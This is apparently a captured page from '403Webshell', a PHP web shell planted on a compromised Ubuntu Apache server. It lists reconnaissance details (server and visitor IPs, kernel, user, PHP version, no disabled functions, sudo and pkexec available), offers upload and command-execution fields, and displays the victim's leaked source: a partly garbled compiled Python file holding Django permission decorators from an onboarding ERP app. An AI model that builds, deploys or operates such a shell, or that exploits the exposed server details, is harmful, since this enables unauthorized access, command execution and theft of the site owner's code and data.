403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/onboarding/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/onboarding/__pycache__/decorators.cpython-310.pyc
o

hͦh��@s�dZddlmZddlmZmZddlmZddlm	Z	ddl
mZmZddl
mZdd	�Zed
d��Zedd
��Zedd��ZdS)zX
decorators.py

Custom decorators for permission and manager checks in the application.
�)�messages)�HttpResponse�HttpResponseRedirect)�render)�Employee)�OnboardingStage�OnboardingTask)�Recruitmentcs�fdd�}|S)z�
    Decorator that allows decorators to accept arguments and keyword arguments.

    Args:
        decorator (function): The decorator function to be wrapped.

    Returns:
        function: The wrapper function.

    cs���fdd�}|S)a
        Wrapper function that captures the arguments and keyword arguments.

        Args:
            *args: Variable length argument list.
            **kwargs: Arbitrary keyword arguments.

        Returns:
            function: The inner wrapper function.

        cs�|g��Ri���S)z�
            Inner wrapper function that applies the decorator to the function.

            Args:
                func (function): The function to be decorated.

            Returns:
                function: The decorated function.

            �)�func)�args�	decorator�kwargsr
�%/var/www/erp/onboarding/decorators.py�
inner_wrapper)sz@decorator_with_arguments.<locals>.wrapper.<locals>.inner_wrapperr
)rrr�r
)rrr�wrappers

z)decorator_with_arguments.<locals>.wrapperr
)r
rr
rr�decorator_with_argumentssrc���fdd�}|S)�W
    This method is used to check permission of employee for enter to the function
    c	s�|j}tjj|d���}tjj|d���p$tjj|d�p$tjj|d���}|�	��s,|r7�|g|�Ri|��St
�|d�|j�
dd�}d|�d�}d	}||j��vrXt|d
�St|�S�N��employee_user_id)�employee_id��recruitment_managers�You dont have permission.�HTTP_REFERER�/� <script>window.location.href = "�
"</script>�HTTP_HX_REQUEST�decorator_404.html)�userr�objects�filter�firstr�existsrr	�has_permr�info�META�get�keysrr�	�requestrrr#�employee�
is_manager�previous_url�script�key��function�permr
r�	_functionAs ��
z(all_manager_can_enter.<locals>._functionr
�r5r6r7r
r4r�all_manager_can_enter;sr9cr)rc	s�|j}tjj|d���}tjj|d�ptjj|d���}|���s#|r.�|g|�Ri|��St	�
|d�|j�dd�}d|�d�}d	}||j�
�vrOt|d
�St|�Sr)r#rr$r%r&rr	r'r(rr)r*r+r,rrr-r4r
rr7\s�
z*stage_manager_can_enter.<locals>._functionr
r8r
r4r�stage_manager_can_enterVsr:cr)rc	s�|j}tjj|d���}tjj|d���}|���s|r'�|g|�Ri|��St�	|d�|j
�dd�}d|�d�}d}||j
��vrHt
|d	�St|�S)
Nrrrrrrr r!r")r#rr$r%r&r	r'r(rr)r*r+r,rrr-r4r
rr7vs
z0recruitment_manager_can_enter.<locals>._functionr
r8r
r4r�recruitment_manager_can_enterpsr;N)�__doc__�django.contribr�django.httprr�django.shortcutsr�employee.modelsr�onboarding.modelsrr�recruitment.modelsr	rr9r:r;r
r
r
r�<module>s+



Youez - 2016 - github.com/yon3zu
LinuXploit